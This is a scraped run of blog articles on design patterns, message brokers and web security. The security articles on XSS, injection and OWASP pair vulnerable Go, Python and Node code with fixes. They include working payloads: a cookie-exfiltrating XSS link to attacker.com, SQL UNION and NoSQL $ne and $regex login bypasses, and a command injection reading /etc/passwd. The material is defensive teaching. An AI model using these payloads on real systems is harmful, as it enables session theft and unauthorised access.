Soon you end up with constructors that are difficult to read, understand, and maintain.

The Builder pattern solves this problem by separating the construction process from the final object.

Think of ordering a custom computer.

You choose:

CPU
RAM
Storage
GPU
Operating System

The computer is built step by step before the final product is delivered.

That's exactly what the Builder pattern does.

When to use it

Complex configuration objects
API request builders
Query builders
Domain models with many optional fields
Object creation involving multiple steps

Bad code (without pattern)

class User:
    def __init__(
        self,
        name,
        email,
        phone=None,
        address=None,
        role=None,
        avatar=None,
        timezone=None,
        language=None,
    ):
        self.name = name
        self.email = email
        self.phone = phone
        self.address = address
        self.role = role
        self.avatar = avatar
        self.timezone = timezone
        self.language = language


user = User(
    "Mahdi",
    "mahdi@example.com",
    None,
    None,
    "admin",
    None,
    "UTC",
    "en",
)

Problems:

Hard to read
Easy to pass arguments incorrectly
Constructor grows forever

Good code (with Builder)

class UserBuilder:

    def __init__(self):
        self.user = {}

    def name(self, value):
        self.user["name"] = value
        return self

    def email(self, value):
        self.user["email"] = value
        return self

    def role(self, value):
        self.user["role"] = value
        return self

    def timezone(self, value):
        self.user["timezone"] = value
        return self

    def language(self, value):
        self.user["language"] = value
        return self

    def build(self):
        return self.user


user = (
    UserBuilder()
    .name("Mahdi")
    .email("mahdi@example.com")
    .role("admin")
    .timezone("UTC")
    .language("en")
    .build()
)

The result is far more readable.

Pros

Improves readability
Handles optional parameters elegantly
Makes object creation more explicit
Avoids giant constructors

Cons:

Additional class to maintain
Slightly more code

My Take:

Builder is one of the most practical patterns in modern software development.

Whenever you see constructors with ten or more parameters, Builder should immediately come to mind.

5. Prototype Pattern

The Prototype pattern creates new objects by cloning existing ones instead of constructing them from scratch.

This pattern becomes useful when object creation is expensive, slow, or complicated.

Rather than rebuilding everything every time, you create a copy of an existing object and modify only what changes.

Think about document templates.

Instead of creating a new invoice from scratch every time, you start with an invoice template and clone it.

When to use it

Expensive object creation
Template systems
Game development
Document generation
Large configuration objects

Bad code (without pattern)

class Invoice:

    def __init__(
        self,
        company_name,
        company_address,
        tax_rate,
        footer,
    ):
        self.company_name = company_name
        self.company_address = company_address
        self.tax_rate = tax_rate
        self.footer = footer


invoice1 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice2 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice3 = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

The same data is repeated over and over.

Good code (with Prototype)

from copy import deepcopy

class Invoice:

    def __init__(
        self,
        company_name,
        company_address,
        tax_rate,
        footer,
    ):
        self.company_name = company_name
        self.company_address = company_address
        self.tax_rate = tax_rate
        self.footer = footer

    def clone(self):
        return deepcopy(self)


template = Invoice(
    "My Company",
    "New York",
    0.15,
    "Thank you for your business"
)

invoice = template.clone()
invoice.customer = "John Doe"

invoice2 = template.clone()
invoice2.customer = "Jane Doe"

Now the common configuration is defined only once.

This is faster and easier to maintain.

Pros:

Faster object creation
Reduces duplication
Useful for template systems
Simplifies complex initialization

Cons:

Deep copying can become complicated
Circular references require care

My Take:

Prototype is less common than Factory or Builder, but when object creation becomes expensive, it's incredibly useful.

Many developers never explicitly implement Prototype, but they use the idea constantly through templates, cloning, and copying existing configurations.

Quick Comparison

Pattern	Purpose	Complexity	Common Use Cases
Singleton	Ensure one instance exists	Low	Logging, Configuration
Factory Method	Create objects conditionally	Low	Payment Providers, Storage Drivers
Abstract Factory	Create related families of objects	Medium	Databases, Cloud Providers
Builder	Construct complex objects step by step	Medium	Configurations, API Requests
Prototype	Clone existing objects	Medium	Templates, Games, Documents

Which Creational Patterns Should You Actually Use?

If you're building modern backend systems, these are the patterns you'll encounter most often:

Factory Method : Probably the most common pattern in production systems. Use it whenever object creation depends on runtime conditions.
Builder : Extremely useful for complex objects and configurations. Many modern frameworks use Builder-style APIs.
Singleton (Carefully) : Useful for shared resources, but dependency injection is often a better choice.
Abstract Factory : Valuable when supporting multiple providers, databases, platforms, or cloud vendors. Most small projects won't need it.
Prototype : Less common, but powerful when object creation becomes expensive or repetitive.

Final Thoughts

Design patterns are not rules. They're tools.

Use them when they solve real problems:

Factory when you need to create different types
Strategy when you have multiple ways to do something
Repository when you need to abstract data access
Observer when you have real events
Decorator when you need to add features without modifying code
Singleton carefully, and usually prefer dependency injection

The best code is code that's easy to read, test, and change. Patterns help with that. But bad code with patterns is still bad code.

Start with simple code. Add patterns when you need them. Don't add them "just in case."

What's Next?

This article focused entirely on Creational Design Patterns.
In the next article, we'll explore Structural Design Patterns
After that, we'll dive into Behavioral Design Patterns

Each article will include practical Python examples, production use cases, common mistakes, and guidance on when a pattern is actually worth using.

Stay tuned.

Want More?

If you enjoyed this deep dive, check out my other articles:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Which One Should You Really Use — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities — Security patterns
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — Attack patterns
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Message Brokers Comparison 2026 — Kafka, RabbitMQ, NATS & Redis Streams: Which One Should You Choose? | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 13:53:26 +0000

Mahdi Shamlou here.

if you’ve read my OWASP Top 10 or SQL/NoSQL injection articles, you know I take reliability and security seriously. If you’ve seen my durable workflow engines post, you know I care about building systems that don’t fall apart under real-world conditions.

Today, we’re tackling a question that comes up in every serious backend discussion:

Which message broker should I use in 2026?

I’ve seen countless debates online:

“Kafka is always better.”
“RabbitMQ is outdated.”
“NATS is insanely fast.”
“Just use Redis.”

But most comparisons are either outdated, overly biased, or written without real engineering tradeoffs.

So I decided to make a fresh, practical comparison for software engineers in 2026.

Let’s dive in.

What Is a Message Broker?

A message broker helps different services talk to each other.

For example, instead of this:

payment_service.process_order(order)

you send a message:

broker.publish("order.created", order)

Then another service reads that message and does the work.

This helps us build systems that are:

More scalable
Easier to manage
More reliable
Better for background jobs

Message brokers are useful for:

Microservices
Notifications
Payment systems
Background tasks
Event-driven systems
Real-time systems

Today I want to compare these options:

Kafka
RabbitMQ
NATS
Redis Streams

1. Kafka

Kafka is one of the most popular message brokers.

Big companies like LinkedIn, Uber, and Netflix use it for handling a huge amount of data.

Kafka is very powerful and works well for large systems.

How it works

Kafka stores messages inside something called topics.

Messages stay there for some time, even after consumers read them.

This means you can:

Read messages again
Replay events
Save system history
Process a lot of data

Pros

Very scalable
High performance
Good for large systems
Can replay old messages
Strong reliability

Cons

Harder to learn
More setup and infrastructure
Too much for small projects

Best for

Large systems
Analytics
Event-driven architecture
High traffic systems

2. RabbitMQ

RabbitMQ is one of the oldest and most trusted message brokers.

Many developers use it because it is easier than Kafka and works very well for business systems.

How it works

RabbitMQ sends messages into queues.

Consumers read the messages and confirm when the job is finished.

RabbitMQ supports:

Retry
Delayed messages
Priority queues
Different routing methods

Pros

Easy to understand
Reliable
Good retry support
Mature and stable
Easier than Kafka

Cons

Not the best for very high scale
Message replay is weaker than Kafka

Best for

Payment systems
Notifications
Background jobs
Business applications

3. NATS

NATS is lightweight, simple, and very fast.

Many cloud-native systems use NATS because it is easy to run and gives very good performance.

How it works

NATS uses a publish/subscribe model.

Services send messages, and other services receive them.

With JetStream, NATS also supports persistence and better durability.

Pros

Very fast
Lightweight
Easy setup
Good for cloud systems

Cons

Smaller ecosystem than Kafka
Fewer features compared to RabbitMQ and Kafka

Best for

Real-time systems
Internal service communication
Cloud applications
Fast microservices

4. Redis Streams

Many developers already use Redis.

But some people forget that Redis can also work as a message broker.

Redis Streams is simple and useful for many systems.

How it works

Redis stores messages in streams.

Consumers can read messages in groups and process them.

It supports:

Persistence
Retry
Consumer groups

Pros

Easy to start
Simple setup
Good if you already use Redis
No extra infrastructure

Cons

Not good for very large systems
Fewer advanced features

Best for

Small and medium projects
Background jobs
Existing Redis projects

Quick Comparison

Feature	Kafka	RabbitMQ	NATS	Redis Streams
Speed	High	Medium	Very High	High
Easy Setup	No	Medium	Yes	Yes
Scalability	Very High	Good	High	Medium
Reliability	Strong	Strong	Good	Good
Learning Curve	Hard	Medium	Easy	Easy

My Take: Which One Should You Use?

For most teams, I think this is a good choice:

Start with RabbitMQ or NATS

If you want reliability and good features:

RabbitMQ

If you want speed and simplicity:

NATS

Use Redis Streams if you already use Redis. Sometimes you do not need another service. Redis Streams can be enough for many projects.

Use Kafka when your system becomes bigger. Kafka is powerful. But many teams start using Kafka too early. If your project is small or medium size, Kafka may add extra complexity.

Use Kafka if you need:

Very high scale
Event replay
Analytics systems
Large distributed systems

Final Thoughts

There is no perfect message broker. Every tool has advantages and disadvantages. Choose based on your project needs.

My simple suggestion:

RabbitMQ → business systems
NATS → fast modern systems
Redis Streams → simple projects
Kafka → large systems

Want More?

If you enjoyed this deep dive check out my other articles:

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) — xss story.
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 12:54:19 +0000

Mahdi Shamlou here.

Mahdi, okay fine — you got me with NoSQL injection last time ( read that story here ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.

I smiled. Then I asked for his URL — again.

Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.

Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.

In this guide, I'll show you:

How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)
The 3 main XSS types — with real Go (Gin) code examples
Why even careful backend sanitization can fail against DOM-based XSS
Content Security Policy, DOMPurify, and Trusted Types — what actually works
Actual Go code fixes + tools to find these bugs automatically

Let's dive in.
🔗 Missed the NoSQL injection takedown? Read it here:
➡️ Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them

What Is XSS, Really?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.

The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.

XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.

OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.

Let’s break down the three flavours using only Go/Gin.

The 3 Main XSS Types (With Go/Gin Examples)

Reflected XSS — The “Click This Link” Attack

How it happens:
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.

Vulnerable Go (Gin) code:

package main

import "github.com/gin-gonic/gin"

func main() {
    r := gin.Default()
    r.GET("/search", func(c *gin.Context) {
        q := c.Query("q")
        // 🚨 DANGER: raw string concatenation into HTML
        html := "<h1>Search results for: " + q + "</h1>"
        c.Data(200, "text/html", []byte(html))
    })
    r.Run()
}

Attacker payload:

/search?q=fetch('<a href="https://attacker.com/steal?cookie='+document.cookie">https://attacker.com/steal?cookie='+document.cookie</a>)

Result:

The victim’s browser executes the script and sends their session cookie to the attacker.

Fix — Use Gin’s template engine (auto‑escaping):


r.GET("/search-safe", func(c *gin.Context) {
    q := c.Query("q")
    // templates/search.tmpl: <h1>Search results for: {{ .Q }}</h1>
    c.HTML(200, "search.tmpl", gin.H{"Q": q})
})

Go’s html/template automatically escapes &, <, >, ', " and is context‑aware.

Stored XSS — The Silent Killer

How it happens:
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.

Vulnerable Go (Gin + MongoDB) code:

r.POST("/comment", func(c *gin.Context) {
    var cmt struct{ Username, Text string }
    c.BindJSON(&cmt)
    db.Collection("comments").InsertOne(ctx, cmt) // stored raw
})

r.GET("/comments", func(c *gin.Context) {
    var comments []struct{ Username, Text string }
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    html := "<ul>"
    for _, cmt := range comments {
        // 🚨 dangerous concatenation
        html += "<li><b>" + cmt.Username + "</b>: " + cmt.Text + "</li>"
    }
    html += "</ul>"
    c.Data(200, "text/html", []byte(html))
})

Attacker posts:

{ "username": "hacker", "text": "alert('XSS')" }
Every visitor to /comments gets the payload executed.

Fix — Encode on output using Go templates:

// comments.tmpl:
// <ul>{{range .}}<li><b>{{.Username}}</b>: {{.Text}}</li>{{end}}</ul>

r.GET("/comments-safe", func(c *gin.Context) {
    var comments []Comment
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    c.HTML(200, "comments.tmpl", gin.H{"Comments": comments})
})

Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).

DOM‑Based XSS — The Frontend Betrayal

How it happens:
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).

Vulnerable Go/Gin serving an HTML file:


r.Static("/static", "./static")
r.GET("/profile", func(c *gin.Context) {
    c.HTML(200, "profile.tmpl", nil)
})

And inside profile.tmpl (no backend sanitisation can help here):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // 🚨 dangerous innerHTML
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>

Attacker payload:

/profile?name=

Fix — Use safe DOM APIs (still inside Go template):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // ✅ use textContent
    document.getElementById('welcome').textContent = 'Hello, ' + name;
</script>

Or sanitise with DOMPurify (add the library in your static files):

<script src="/static/purify.min.js"></script>
<script>
    let name = new URLSearchParams(location.search).get('name');
    let clean = DOMPurify.sanitize(name, {ALLOWED_TAGS: []});
    document.getElementById('welcome').innerHTML = clean;
</script>

DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.

Why “Backend Sanitization” Fails

My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.

The only reliable prevention:

Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.

Content Security Policy (CSP) + Trusted Types — Your Safety Net

Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.

Set CSP Header in Gin Middleware

func CSP() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Content-Security-Policy", 
            "default-src 'self'; " +
            "script-src 'nonce-abc123' 'strict-dynamic'; " +
            "require-trusted-types-for 'script'; " +
            "trusted-types myPolicy")
        c.Next()
    }
}

r.Use(CSP())

What this CSP does:

default-src 'self' – only allow resources from the same origin.
script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).
require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).
trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.

Trusted Types — Type‑Safe DOM Injection

With Trusted Types enabled, this code throws an error:

// 🚨 Browser blocks this (TypeError)
element.innerHTML = userInput;

Instead, you must create a trusted type using a policy:

// Create a policy (once, usually in your main.js)
const policy = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => {
        // Sanitize or safely encode here
        return DOMPurify.sanitize(input);
    }
});

// ✅ Safe: browser accepts because it's a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);

Why Trusted Types wins:

Type safety – the browser enforces that only trusted objects reach dangerous functions.
No forgetting – you can’t accidentally write innerHTML = x without a policy.
Backwards compatible – unsupported browsers ignore the header.

Hands‑On Practice (Don’t Just Read)

PortSwigger XSS Labs — Reflected, Stored, DOM, and advanced bypasses.
OWASP Juice Shop — XSS challenges in a realistic web app.
XSS Game (Google) — Six fun levels for beginners.

Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).

Want More?

If you enjoyed this deep dive into XSS, check out my other articles:

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them (2026) | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 10:03:53 +0000

Mahdi Shamlou here.

“Mahdi, I finally launched my e‑commerce site. And don’t worry — I used MongoDB, so no SQL injection. You can’t hack it.”

I laughed. Then I asked him to let me try.

Within 10 minutes, I bypassed his login with a NoSQL injection and pulled out his entire user collection. His face went pale.

Moral of the story: “No SQL” does NOT mean “no injection”. Injection is a whole class of attacks — SQL, NoSQL, ORM, command, LDAP, you name it. If you concatenate user input into any kind of query or system command, you’re likely vulnerable.

In this guide, I’ll show you:

How I hacked my friend’s NoSQL login (and how to fix it).
Classic SQL injection — still alive and well.
How even an ORM like SQLAlchemy can betray you if you misuse it.
Command injection that gives attackers a shell on your server.
Actual code fixes + tools to find these bugs automatically.

Let’s dive in.

The Story: “But I Use NoSQL! (And Why That’s Not Enough)

My friend’s site had a simple login form like this:


// Node.js + Express + MongoDB
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  db.collection('users').findOne({
    username: username,
    password: password
  }, (err, user) => {
    if (user) res.send('Logged in');
    else res.send('Invalid credentials');
  });
});

He thought: “No SQL strings, no injection.

I sent this JSON as the username:


{ "username": { "$ne": null }, "password": { "$ne": null } }

MongoDB interpreter turned it into:


db.users.findOne({
  username: { $ne: null },
  password: { $ne: null }
})

That returns the first user — no password check needed. I was in.

Lesson: Any system that interprets user input as a command (SQL, JavaScript, shell, etc.) can be injected. NoSQL is no exception.

A03: Injection (The Unified Monster)

OWASP ranks Injection as #3 in 2026 (and #1 in many earlier lists). The root cause is the same:

Untrusted data is sent to an interpreter as part of a command or query.

Check this : OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities

We’ll cover the most dangerous flavours.

1. SQL Injection — The Old King

Still #1 in bug bounties.
Vulnerable Code (Python/Flask)


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    query = f"SELECT * FROM users WHERE id = {user_id}"   # 😱
    cursor.execute(query)
    return cursor.fetchone()

Input: ?id=1 UNION SELECT username, password FROM admins --
The Fix — Parameterized Queries


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    # Or use an ORM (correctly!)

Tool: sqlmap — automated detection and exploitation.

2. NoSQL Injection — The Modern Trap

MongoDB, CouchDB, etc. are vulnerable when you pass user input directly into query objects.

Vulnerable (Node.js + Mongoose)

User.findOne({ email: req.body.email, password: req.body.password });

Attackers send:

{ "email": { "$regex": ".*" }, "password": { "$ne": "" } }

That matches any email and a non‑empty password → login bypass.

Even worse: $where clauses execute JavaScript.

// Vulnerable
User.find({ $where: `this.name == '${req.body.name}'` });
// Attacker: 'a'; sleep(5000); //

The Fix — Schema Validation + Type Casting


// Use Mongoose schemas with required types
const userSchema = new Schema({
  email: { type: String, required: true },
  password: { type: String, required: true }
});

// And sanitize operators
function sanitizeNoSQL(obj) {
  if (typeof obj !== 'object') return obj;
  const unsafe = ['$where', '$ne', '$gt', '$regex', '$expr'];
  for (let key of unsafe) if (key in obj) delete obj[key];
  return obj;
}

// Then use it
const query = sanitizeNoSQL(req.body);
User.findOne(query);

Better yet: use an allowlist for fields and reject any input with $ or { operators.

Tool: NoSQLMap — automated NoSQL injection

3. ORM Injection — Yes, Even SQLAlchemy

ORMs (SQLAlchemy, Hibernate, Entity Framework) protect you if you use them correctly. But as soon as you write raw SQL or use unsafe methods, you’re back to square one.

Vulnerable SQLAlchemy (Python)

from sqlalchemy import text

@app.route('/search')
def search():
    keyword = request.args.get('q')
    query = text(f"SELECT * FROM products WHERE name LIKE '%{keyword}%'")
    results = db.session.execute(query)
    # Ouch — raw string concatenation inside text()

Attacker: ?q=' OR '1'='1' UNION SELECT ...

Fix — Use ORM Parameters or Bind Variables

# Method 1: ORM safe filtering
from sqlalchemy import or_
products = Product.query.filter(Product.name.ilike(f"%{keyword}%")).all()

# Method 2: If you must use raw SQL, use bind params
query = text("SELECT * FROM products WHERE name LIKE :kw")
results = db.session.execute(query, {"kw": f"%{keyword}%"})

Rule: Never use text() with f‑strings or string concatenation. Always pass parameters as a dict or tuple.

Tool: SQLAlchemy’s own logging — watch for generated queries with suspicious input.

4. Command Injection — Full Server Takeover

When your app calls operating system commands with user input, the attacker can run any command.
Vulnerable (Python)

import subprocess

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    result = subprocess.check_output(f"ping -c 4 {ip}", shell=True)
    return result

Attacker: ?ip=8.8.8.8; cat /etc/passwd
Fix — Use Native APIs, Avoid Shell=True

import shlex

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    # Allowlist allowed characters
    if not re.match(r'^[\d\.]+$', ip):
        abort(400)
    # Use list form + no shell
    result = subprocess.check_output(["ping", "-c", "4", ip])
    return result

Even better: Don’t call system commands at all — use native network libraries (e.g., ping3 for Python).

Tool: Commix — automated command injection.

Injection Prevention — A Unified Checklist

Injection Type	Prevention Strategy
SQL	Parameterized queries / prepared statements (never concatenation).
NoSQL	Validate input types, reject operator keys (`$`), use schema validation.
ORM	Avoid raw SQL; use ORM’s safe methods; parameterize any `text()` call.
Command	Use native APIs, avoid `shell=True`, allowlist inputs.
LDAP	Escape special characters (`*`, `(`, `)`, `\`).
XML/XPath	Disable external entities, use hard‑coded XPaths.

Universal Rules

Treat all user input as dangerous.
Use allowlists (e.g., re.match(r'^[a-z0-9]+$', input)).
Prefer safe APIs — ORMs, parameterised queries, native libraries.
Never trust “I don’t use SQL” — injection is about interpreters, not just SQL.

Tools to Find Injection Flaws Automatically

Run these before an attacker does:

sqlmap — SQL injection detection & exploitation.
NoSQLMap — NoSQL injection (MongoDB, CouchDB).
Commix — Command injection.
Burp Suite Scanner — All kinds of injection (paid but worth it).
OWASP ZAP — Free, includes injection tests.
Semgrep or CodeQL — Find injection patterns in your source code.

Hands‑On Practice (Don’t Just Read)

You learn injection by doing it (safely).

PortSwigger NoSQL injection labs
OWASP Juice Shop — has both SQL and NoSQL challenges.
TryHackMe – Injection room

Remember my sandbox advice from last article: Run all vulnerable apps inside isolated VMs or Docker containers. Even your own testing can go wrong.

Want More?

If you enjoyed this deep dive into injection attacks, check out:

OWASP Top 10 for Developers (2026 Edition) — full list with fixes.
What Is a Sandbox? How to Safely Run Any Unknown .exe — dynamic malware analysis.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 09:27:12 +0000

Hi, Mahdi Shamlou here. In my last article (What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe), you learned how to safely detonate an unknown .exe in a sandbox. That’s reactive security — analyzing malware after it exists.

But what if you could prevent most attacks before they ever reach your server? That’s where OWASP comes in.

In this guide, I’ll walk you through the OWASP Top 10 for 2026 — but not as a boring list. I’ll show you:

What each vulnerability actually means for your code.
A real vulnerable code snippet (and how to fix it).
Which tools you can use to find these bugs automatically.

By the end, you’ll have a security checklist you can apply to your next web app.

What Is OWASP? (And Why You, as a Developer, Should Care)

OWASP = Open Web Application Security Project. It’s a non‑profit community that produces free, world‑class security guidance.

The most famous is the OWASP Top 10 — a ranked list of the most critical web security risks. It’s updated every few years to reflect real‑world attack data. The 2026 edition (which builds on the 2021 version) remains the must‑know list for any web developer.

Why should you care? Because:

75% of web apps have at least one Top 10 vulnerability.
Fixing a bug in production costs 30x more than catching it in coding.
Security is now a shared responsibility — developers can’t just throw code over the wall to a “security team”.

So let’s dive in. I’ll present each risk, show you a bad code example, and then give you the secure version.

A01: Broken Access Control

What it is: Users can see or edit data they’re not supposed to. For example, a normal user changing their ?user_id=123 to ?user_id=124 and seeing someone else’s profile.

Vulnerable code (Flask):

@app.route('/profile')
def profile():
    user_id = request.args.get('user_id')
    # No check if logged-in user owns this ID
    user = db.query(f"SELECT * FROM users WHERE id = {user_id}")
    return render_template('profile.html', user=user)

Fix — enforce server‑side access control:

@app.route('/profile')
@login_required
def profile():
    # Only allow access to the currently logged-in user's own profile
    user_id = current_user.id   # from session, not from request
    user = db.query("SELECT * FROM users WHERE id = %s", (user_id,))
    return render_template('profile.html', user=user)

Tool to catch this: OWASP ZAP or Burp Suite — try changing ID parameters manually.

A02: Cryptographic Failures

What it is: Sensitive data (passwords, credit cards) transmitted or stored without proper encryption. That includes using old algorithms like MD5 or SHA‑1.

Vulnerable code:

# Storing password in plain text? Ouch.
user.password = request.form['password']

# Or using MD5 (crackable in seconds)
import hashlib
hashlib.md5(password.encode()).hexdigest()

Fix — use strong, adaptive hashing (bcrypt, Argon2):

from bcrypt import hashpw, gensalt

hashed = hashpw(request.form['password'].encode(), gensalt())
# Store 'hashed' in DB.
# Also enforce HTTPS everywhere – use HSTS header.

Tool: sslscan for HTTPS config, hashcat to test weak password hashes.

A03: Injection (SQL, NoSQL, OS Command, LDAP…)

What it is: Attacker sends malicious input that gets interpreted as a command. Classic example: ' OR '1'='1 logging you in without a password.

Vulnerable code (string concatenation):

username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
# Input: username = "admin' --" -> bypasses password check!

Fix — use parameterized queries / ORM:

cursor.execute(
    "SELECT * FROM users WHERE name = %s AND pass = %s",
    (username, password)
)

# Or use an ORM like SQLAlchemy which escapes automatically.

Tool: sqlmap (automated detection) or Burp Scanner.

A04: Insecure Design

What it is: Flaws in the architecture or workflow — not a single line of code, but a design that makes security impossible. Example: a password reset that sends the new password by email (in plain text).

Vulnerable design:
“Forgot password” emails your current password in plain text. That means the system stored it reversibly — huge risk.

Fix — design with security in mind:

Never store passwords reversibly.
Password reset should send a time‑limited token (not a new password).
Use threat modeling (e.g., STRIDE) before writing code.

Tool: OWASP Threat Dragon for threat modeling diagrams.

A05: Security Misconfiguration

What it is: Default passwords, verbose error messages, unnecessary features enabled, missing security headers.

Vulnerable example (Flask debug mode in production):

app.run(debug=True)   # Shows full stack traces to attackers – exposes code!

Fix — secure configuration:

# Use environment variables
import os
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() == 'true'
app.run(debug=debug_mode)

And add security headers:

@app.after_request
def add_security_headers(resp):
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['X-Frame-Options'] = 'DENY'
    resp.headers['Strict-Transport-Security'] = 'max-age=31536000'
    return resp

Tool: Nmap scripts for misconfig, OWASP ZAP passive scanner.

A06: Vulnerable and Outdated Components

What it is: You use a library like lodash or Flask with a known CVE (Common Vulnerability). Attackers scan for these.
Download the Medium app

Vulnerable scenario:
Your requirements.txt has Flask==1.0.2 (released 2018 – many security fixes since). An attacker finds a public exploit for older Flask.

Fix — keep dependencies updated:

Run pip list --outdated regularly.
Use Dependabot (GitHub) or Snyk to auto‑open PRs.
Before installing a new package, check npm audit or safety check.

Tool: OWASP Dependency-Check (free, scans for known vulnerabilities).

A07: Identification and Authentication Failures

What it is: Weak session management, no MFA, credential stuffing vulnerabilities, or session IDs in URLs.

Vulnerable code (session in URL):

# http://example.com/profile?session_id=abc123
# Attacker steals this link – now they're logged in as you.

Fix — use framework session management (secure flags):

app.config.update(
    SESSION_COOKIE_SECURE=True,   # only over HTTPS
    SESSION_COOKIE_HTTPONLY=True, # no JavaScript access
    SESSION_COOKIE_SAMESITE='Lax'
)
# Never put session in URL.

Also enforce rate limiting on login attempts and offer MFA.

Tool: hydra or ffuf for brute‑force testing.

A08: Software and Data Integrity Failures

What it is: You trust software or data from an untrusted source without verifying integrity. For example, downloading a dependency over HTTP (not HTTPS) or deserializing untrusted data.

Vulnerable example (pickle deserialization in Python):

import pickle
data = request.form['user_data']
obj = pickle.loads(data)  # Can execute arbitrary code!

Fix — avoid pickle on untrusted input, use JSON with schema validation:


import json
try:
    obj = json.loads(data)
